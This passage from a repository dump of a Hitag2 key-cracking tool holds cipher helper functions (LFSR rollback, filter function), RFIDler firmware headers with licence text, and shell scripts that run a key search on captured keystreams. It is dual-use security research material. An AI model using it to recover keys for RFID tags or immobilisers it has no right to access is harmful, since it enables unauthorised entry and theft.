printf(\"0\");\n        }\n        val = val << 1;\n    }\n}\n\n\nvoid printstate(Hitag_State *hstate)\n{\n    printf(\"shiftreg =\\t\");\n    printbin2(hstate->shiftreg, 48);\n    printf(\"\\n\");\n}\n\n\n\n\n// convert hex char to binary\nunsigned char hex2bin(unsigned char c)\n{\n    if ((c >= '0') && (c <= '9')) {\n        return (c - '0');\n    } else if ((c >= 'a') && (c <= 'f')) {\n        return (c - 'a' + 10);\n    } else if ((c >= 'A') && (c <= 'F')) {\n        return (c - 'A' + 10);\n    } else {\n        return 0;\n    }\n}\n\n// return a single bit from a value\nint bitn(uint64_t x, int bit)\n{\n    uint64_t bitmask = 1;\n\n    bitmask = bitmask << bit;\n\n    if (x & bitmask) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\n\n// the sub-function R that rollback depends upon\nint fnR(uint64_t x)\n{\n    // renumbered bits because my state is 0-47, not 1-48\n    return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^\n        bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^\n        bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));\n}\n\n// the rollback function that lets us go backwards in time\nvoid rollback(Hitag_State *hstate, unsigned int steps)\n{\n    int i;\n\n    for (i=0; i<steps; i++) {\n        hstate->shiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);\n    }\n\n}\n\n\n// the three filter sub-functions that feed fnf\nint fa(unsigned int i)\n{\n    return bitn(0x2C79, i);\n}\n\nint fb(unsigned int i)\n{\n    return bitn(0x6671, i);\n}\n\nint fc(unsigned int i)\n{\n    return bitn(0x7907287B, i);\n}\n\n// the filter function that generates a bit of output from the prng state\nint fnf(uint64_t s)\n{\n    unsigned int x1, x2, x3, x4, x5, x6;\n\n    x1 = (bitn(s,  2) << 0) | (bitn(s,  3) << 1) | (bitn(s,  5) << 2) | (bitn(s,  6) << 3);\n    x2 = (bitn(s,  8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);\n    x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);\n    x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);\n    x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);\n\n    x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);\n\n    return fc(x6);\n}\n\n// builds the lfsr for the prng (quick calcs for hitag2_nstep())\nvoid buildlfsr(Hitag_State *hstate)\n{\n    uint64_t state = hstate->shiftreg;\n    uint64_t temp;\n\n    temp = state ^ (state >> 1);\n    hstate->lfsr = state ^ (state >>  6) ^ (state >> 16)\n              ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n              ^ (temp >>  2) ^ (temp >>  7) ^ (temp >> 22)\n              ^ (temp >> 42) ^ (temp >> 46);\n}\n\n\n\n"
  },
  {
    "path": "hitag2crack/crack2/ht2crack2utils.h",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys/mman.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n\n#include \"hitagcrypto.h\"\n\n#define HEX_PER_ROW 16\n\n\n\nvoid writebuf(unsigned char *buf, uint64_t val, unsigned int len);\nvoid shexdump(unsigned char *data, int data_len);\nvoid printbin(unsigned char *c);\nvoid printbin2(uint64_t val, unsigned int size);\nvoid printstate(Hitag_State *hstate);\nunsigned char hex2bin(unsigned char c);\nint bitn(uint64_t x, int bit);\nint fnR(uint64_t x);\nvoid rollback(Hitag_State *hstate, unsigned int steps);\nint fa(unsigned int i);\nint fb(unsigned int i);\nint fc(unsigned int i);\nint fnf(uint64_t s);\nvoid buildlfsr(Hitag_State *hstate);\n"
  },
  {
    "path": "hitag2crack/crack2/rfidler.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include <stdio.h>\n#include <string.h>\n\n// BCD hardware revision for usb descriptor (usb_descriptors.c)\n#define RFIDLER_HW_VERSION        0x020\n\n// max sizes in BITS\n#define MAXBLOCKSIZE        512\n#define MAXTAGSIZE          4096\n#define MAXUID              512\n\n#define TMP_LARGE_BUFF_LEN  2048\n#define TMP_SMALL_BUFF_LEN  256\n#define ANALOGUE_BUFF_LEN   8192\n\n#define COMMS_BUFFER_SIZE   128\n\n#define DETECT_BUFFER_SIZE  512\n\n#define SAMPLEMASK          ~(BIT_1 | BIT_0)    // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period\n\n// globals\n\nextern BOOL             WiegandOutput;                      // Output wiegand data whenenver UID is read\nextern BYTE             *EMU_Reset_Data;                    // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*'  terminated\nextern BYTE             *EMU_Data;                          // Pointer to current location in EMU_Reset_Data\nextern BYTE             EMU_ThisBit;                        // The next data bit to transmit\nextern BYTE             EMU_SubCarrier_T0;                  // Number of Frame Clocks for sub-carrier '0'\nextern BYTE             EMU_SubCarrier_T1;                  // Number of Frame Clocks for sub-carrier '1'\nextern unsigned int     EMU_Repeat;                         // Number of times to transmit full data set\nextern BOOL             EMU_Background;                     // Emulate in the background until told to stop\nextern unsigned int     EMU_DataBitRate;                    // Number of Frame Clocks per bit\nextern BYTE             TmpBits[TMP_LARGE_BUFF_LEN];        // Shared scratchpad\nextern BYTE             ReaderPeriod;                       // Flag for sample display\nextern unsigned char    Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer\nextern BYTE             Interface;                          // user interface - CLI or API\nextern BYTE             CommsChannel;                       // user comms channel - USB or UART\nextern BOOL             FakeRead;                           // flag for analogue sampler to signal it wants access to buffers during read\nextern BOOL             PWD_Mode;                           // is this tag password protected?\nextern BYTE             Password[9];                        // 32 bits as HEX string set with LOGIN\nextern unsigned int     Led_Count;                          // LED status counter, also used for entropy\nextern unsigned long    Reader_Bit_Count;                   // Reader ISR bit counter\nextern char             Previous;                           // Reader ISR previous bit type\n\n// RWD (read/write device) coil state\nextern BYTE             RWD_State;                              // current state of RWD coil\nextern unsigned int     RWD_Fc;                                 // field clock in uS\nextern unsigned int     RWD_Gap_Period;                         // length of command gaps in OC5 ticks\nextern unsigned int     RWD_Zero_Period;                        // length of '0' in OC5 ticks\nextern unsigned int     RWD_One_Period;                         // length of '1' in OC5 ticks\nextern unsigned int     RWD_Sleep_Period;                       // length of initial sleep to reset tag in OC5 ticks\nextern unsigned int     RWD_Wake_Period;                        // length required for tag to restart in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_TX_RX;                  // length to wait when switching from TX to RX in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_RX_TX;                  // length to wait when switching from RX to TX in OC5 ticks\nextern unsigned int     RWD_Post_Wait;                          // low level ISR wait period in OC5 ticks\nextern unsigned int     RWD_OC5_config;                         // Output Compare Module settings\nextern unsigned int     RWD_OC5_r;                              // Output Compare Module primary compare value\nextern unsigned int     RWD_OC5_rs;                             // Output Compare Module secondary compare value\nextern BYTE             RWD_Command_Buff[TMP_SMALL_BUFF_LEN];   // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated\nextern BYTE             *RWD_Command_ThisBit;                   // Current command bit\nextern BOOL             Reader_ISR_State;                       // current state of reader ISR\n\n// NVM variables\n// timings etc. that want to survive a reboot should go here\ntypedef struct {\n    BYTE            Name[7];  // will be set to \"RFIDler\" so we can test for new device\n    BYTE            AutoRun[128]; // optional command to run at startup\n    unsigned char   TagType;\n    unsigned int    PSK_Quality;\n    unsigned int    Timeout;\n    unsigned int    Wiegand_Pulse;\n    unsigned int    Wiegand_Gap;\n    BOOL            Wiegand_IdleState;\n    unsigned int    FrameClock;\n    unsigned char   Modulation;\n    unsigned int    DataRate;\n    unsigned int    DataRateSub0;\n    unsigned int    DataRateSub1;\n    unsigned int    DataBits;\n    unsigned int    DataBlocks;\n    unsigned int    BlockSize;\n    unsigned char   SyncBits;\n    BYTE            Sync[4];\n    BOOL            BiPhase;\n    BOOL            Invert;\n    BOOL            Manchester;\n    BOOL            HalfDuplex;\n    unsigned int    Repeat;\n    unsigned int    PotLow;\n    unsigned int    PotHigh;\n    unsigned int    RWD_Gap_Period;\n    unsigned int    RWD_Zero_Period;\n    unsigned int    RWD_One_Period;\n    unsigned int    RWD_Sleep_Period;\n    unsigned int    RWD_Wake_Period;\n    unsigned int    RWD_Wait_Switch_TX_RX;\n    unsigned int    RWD_Wait_Switch_RX_TX;\n} StoredConfig;\n\n// somewhere to store TAG data. this will be interpreted according to the TAG\n// type.\ntypedef struct {\n    BYTE   TagType;            // raw tag type\n    BYTE   EmulatedTagType;    // tag type this tag is configured to emulate\n    BYTE   UID[MAXUID + 1];    // Null-terminated HEX string\n    BYTE   Data[MAXTAGSIZE];   // raw data\n    unsigned char   DataBlocks;         // number of blocks in Data field\n    unsigned int    BlockSize;          // blocksize in bits\n} VirtualTag;\n\nextern StoredConfig RFIDlerConfig;\nextern VirtualTag RFIDlerVTag;\nextern BYTE TmpBuff[NVM_PAGE_SIZE];\nextern BYTE DataBuff[ANALOGUE_BUFF_LEN];\nextern unsigned int DataBuffCount;\nextern const BYTE *ModulationSchemes[];\nextern const BYTE *OnOff[];\nextern const BYTE *HighLow[];\nextern const BYTE *TagTypes[];\n\n// globals for ISRs\nextern BYTE EmulationMode;\nextern unsigned long HW_Bits;\nextern BYTE HW_Skip_Bits;\nextern unsigned int PSK_Min_Pulse;\nextern BOOL PSK_Read_Error;\nextern BOOL Manchester_Error;\nextern BOOL SnifferMode;\nextern unsigned int Clock_Tick_Counter;\nextern BOOL Clock_Tick_Counter_Reset;\n\n// smart card lib\n#define MAX_ATR_LEN\t\t\t(BYTE)33\nextern BYTE scCardATR[MAX_ATR_LEN];\nextern BYTE scATRLength;\n\n// RTC\nextern rtccTime\tRTC_time;\t\t\t// time structure\nextern rtccDate\tRTC_date;\t\t\t// date structure\n\n// digital pots\n#define POTLOW_DEFAULT      100\n#define POTHIGH_DEFAULT     150\n#define DC_OFFSET           60                 // analogue circuit DC offset (as close as we can get without using 2 LSB)\n#define VOLTS_TO_POT        0.019607843F\n\n// RWD/clock states\n#define                 RWD_STATE_INACTIVE              0       // RWD not in use\n#define                 RWD_STATE_GO_TO_SLEEP           1       // RWD coil shutdown request\n#define                 RWD_STATE_SLEEPING              2       // RWD coil shutdown for sleep period\n#define                 RWD_STATE_WAKING                3       // RWD active for pre-determined period after reset\n#define                 RWD_STATE_START_SEND            4       // RWD starting send of data\n#define                 RWD_STATE_SENDING_GAP           5       // RWD sending a gap\n#define                 RWD_STATE_SENDING_BIT           6       // RWD sending a data bit\n#define                 RWD_STATE_POST_WAIT             7       // RWD finished sending data, now in forced wait period\n#define                 RWD_STATE_ACTIVE                8       // RWD finished, now just clocking a carrier\n\n// reader ISR states\n#define                 READER_STOPPED                  0       // reader not in use\n#define                 READER_IDLING                   1       // reader ISR running to preserve timing, but not reading\n#define                 READER_RUNNING                  2       // reader reading bits\n\n\n// user interface types\n#define INTERFACE_API                   0\n#define INTERFACE_CLI                   1\n\n// comms channel\n#define COMMS_NONE                      0\n#define COMMS_USB                       1\n#define COMMS_UART                      2\n\n#define MAX_HISTORY                     2 // disable most of history for now - memory issue\n\n// tag write retries\n#define TAG_WRITE_RETRY                 5\n\n// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this\n#define MOD_MODE_NONE                   0\n#define MOD_MODE_ASK_OOK                1\n#define MOD_MODE_FSK1                   2\n#define MOD_MODE_FSK2                   3\n#define MOD_MODE_PSK1                   4\n#define MOD_MODE_PSK2                   5\n#define MOD_MODE_PSK3                   6\n\n// TAG types - update TagTypes[] in tags.c if you add to this list\n#define TAG_TYPE_NONE                   0\n#define TAG_TYPE_ASK_RAW                1\n#define TAG_TYPE_FSK1_RAW               2\n#define TAG_TYPE_FSK2_RAW               3\n#define TAG_TYPE_PSK1_RAW               4\n#define TAG_TYPE_PSK2_RAW               5\n#define TAG_TYPE_PSK3_RAW               6\n#define TAG_TYPE_HITAG1                 7\n#define TAG_TYPE_HITAG2                 8\n#define TAG_TYPE_EM4X02                 9\n#define TAG_TYPE_Q5                     10\n#define TAG_TYPE_HID_26                 11\n#define TAG_TYPE_INDALA_64              12\n#define TAG_TYPE_INDALA_224             13\n#define TAG_TYPE_UNIQUE                 14\n#define TAG_TYPE_FDXB                   15\n#define TAG_TYPE_T55X7                  16      // same as Q5 but different timings and no modulation-defeat\n#define TAG_TYPE_AWID_26                17\n#define TAG_TYPE_EM4X05                 18\n#define TAG_TYPE_TAMAGOTCHI             19\n#define TAG_TYPE_HDX                    20      // same underlying data as FDX-B, but different modulation & telegram \n\n// various\n\n#define BINARY                          0\n#define HEX                             1\n\n#define NO_ADDRESS                      -1\n\n#define ACK                             TRUE\n#define NO_ACK                          FALSE\n\n#define BLOCK                           TRUE\n#define NO_BLOCK                        FALSE\n\n#define DATA                            TRUE\n#define NO_DATA                         FALSE\n\n#define DEBUG_PIN_ON                    HIGH\n#define DEBUG_PIN_OFF                   LOW\n\n#define FAST                            FALSE\n#define SLOW                            TRUE\n\n#define NO_TRIGGER                      0\n\n#define LOCK                            TRUE\n#define NO_LOCK                         FALSE\n\n#define NFC_MODE                        TRUE\n#define NO_NFC_MODE                     FALSE\n\n#define ONESHOT_READ                    TRUE\n#define NO_ONESHOT_READ                 FALSE\n\n#define RESET                           TRUE\n#define NO_RESET                        FALSE\n\n#define SHUTDOWN_CLOCK                  TRUE\n#define NO_SHUTDOWN_CLOCK               FALSE\n\n#define SYNC                            TRUE\n#define NO_SYNC                         FALSE\n\n#define VERIFY                          TRUE\n#define NO_VERIFY                       FALSE\n\n#define VOLATILE                        FALSE\n#define NON_VOLATILE                    TRUE\n\n#define NEWLINE                         TRUE\n#define NO_NEWLINE                      FALSE\n\n#define WAIT                            TRUE\n#define NO_WAIT                         FALSE\n\n#define WIPER_HIGH                      0\n#define WIPER_LOW                       1\n\n// conversion for time to ticks\n#define US_TO_TICKS                     1000000L\n#define US_OVER_10_TO_TICKS             10000000L\n#define US_OVER_100_TO_TICKS            100000000L\n// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it\n#define CONVERT_TO_TICKS(x)             ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))\n#define CONVERT_TICKS_TO_US(x)          (x / (GetSystemClock() / US_TO_TICKS))\n#define TIMER5_PRESCALER                16\n#define MAX_TIMER5_TICKS                (65535 * TIMER5_PRESCALER)\n\n// other conversions\n\n// bits to hex digits\n#define HEXDIGITS(x)                    (x / 4)\n#define HEXTOBITS(x)                    (x * 4)\n"
  },
  {
    "path": "hitag2crack/crack2/runalltests.sh",
    "content": "for i in keystream*; do\n./runtest.sh $i\ndone\n"
  },
  {
    "path": "hitag2crack/crack2/runtest.sh",
    "content": "#!/bin/bash\n\nif [ \"$1\" == \"\" ]; then\necho \"runtest.sh testfile\"\necho \"testfile name should be of the form:\"\necho \"keystream.key-KEY.uid-UID.nR-NR\"\nexit 1\nfi\n\nfilename=$1\n\nUIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1`\nNR=`echo $1 | cut -d'-' -f4`\nKEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1`\n\necho \"********************\"\necho \"FILENAME      = $filename\"\necho \"UID           = $UIDV\"\necho \"NR            = $NR\"\necho \"Expected KEY  = $KEYV\"\n\n./ht2crack2search $filename $UIDV $NR\necho \"Expected KEY  = $KEYV\"\necho \"********************\"\necho \"\"\n"
  },
  {
    "path": "hitag2crack/crack2/util.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define CRC16_MASK_CCITT          0x1021  // CRC-CCITT mask (ISO 3309, used in X25, HDLC)\n#define CRC16_MASK_ISO_11785      0x8408  // ISO 11785 animal tags\n#define CRC16_MASK_CRC16          0xA001  // standard CRC16 mask (used in ARC files)\n\n/*\n * Hitag Crypto support macros\n * These macros reverse the bit order in a byte, or *within* each byte of a\n * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)\n */\n#define rev8(X)   ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \\\n                  + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \\\n                  + (((X) << 5) &64) + (((X) << 7) &128) )\n#define rev16(X)  (rev8 (X) + (rev8 (X >> 8) << 8))\n#define rev32(X)  (rev16(X) + (rev16(X >> 16) << 16))\n#define rev64(X)  (rev32(X) + (rev32(X >> 32) << 32))\n\n\nBYTE approx(unsigned long number, unsigned long target, unsigned char percentage);\nunsigned int bcdtouint(BYTE *bcd, BYTE length);\nunsigned long long bcdtoulonglong(BYTE *bcd, BYTE length);\nvoid inttobinarray(BYTE *target, unsigned int source, unsigned int bits);\nvoid ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits);\nvoid ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits);\nvoid inttobinstring(BYTE *target, unsigned int source, unsigned int bits);\nvoid ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits);\nBOOL ulongtohex(BYTE *target, unsigned long source);\nunsigned int binarraytoint(BYTE *bin, BYTE length);\nunsigned long long binarraytolonglong(BYTE *bin, BYTE length);\nunsigned long binarraytoulong(BYTE *bin, BYTE length);\nBYTE hextobyte(BYTE *hex);\nvoid printhexreadable(BYTE *hex, BYTE maxlength);\nunsigned long hextoulong(BYTE *hex);\nunsigned long hexreversetoulong(BYTE *hex);\nunsigned long long hextoulonglong(BYTE *hex);\nunsigned long long hexreversetoulonglong(BYTE *hex);\nchar hextolonglong(unsigned long long *out, unsigned char *hex);\nunsigned int hextobinarray(unsigned char *target, unsigned char *source);\nunsigned int hextobinstring(unsigned char *target, unsigned char *source);\nunsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length);\nvoid hexprintbinarray(BYTE *bin, unsigned int length);\nunsigned int binstringtohex(unsigned char *target, unsigned char *source);\nunsigned int binstringtobinarray(BYTE *target, BYTE *source);\nvoid binstringtobyte(BYTE *target, unsigned char *source, BYTE length);\nvoid binarraytobinstring(BYTE *target, BYTE *source, unsigned int length);\nvoid printhexasbin(unsigned char *hex);\nvoid printbinashex(unsigned char *bin);\nvoid invertbinarray(BYTE *target, BYTE *source, unsigned int length);\nvoid invertbinstring(BYTE *target, BYTE 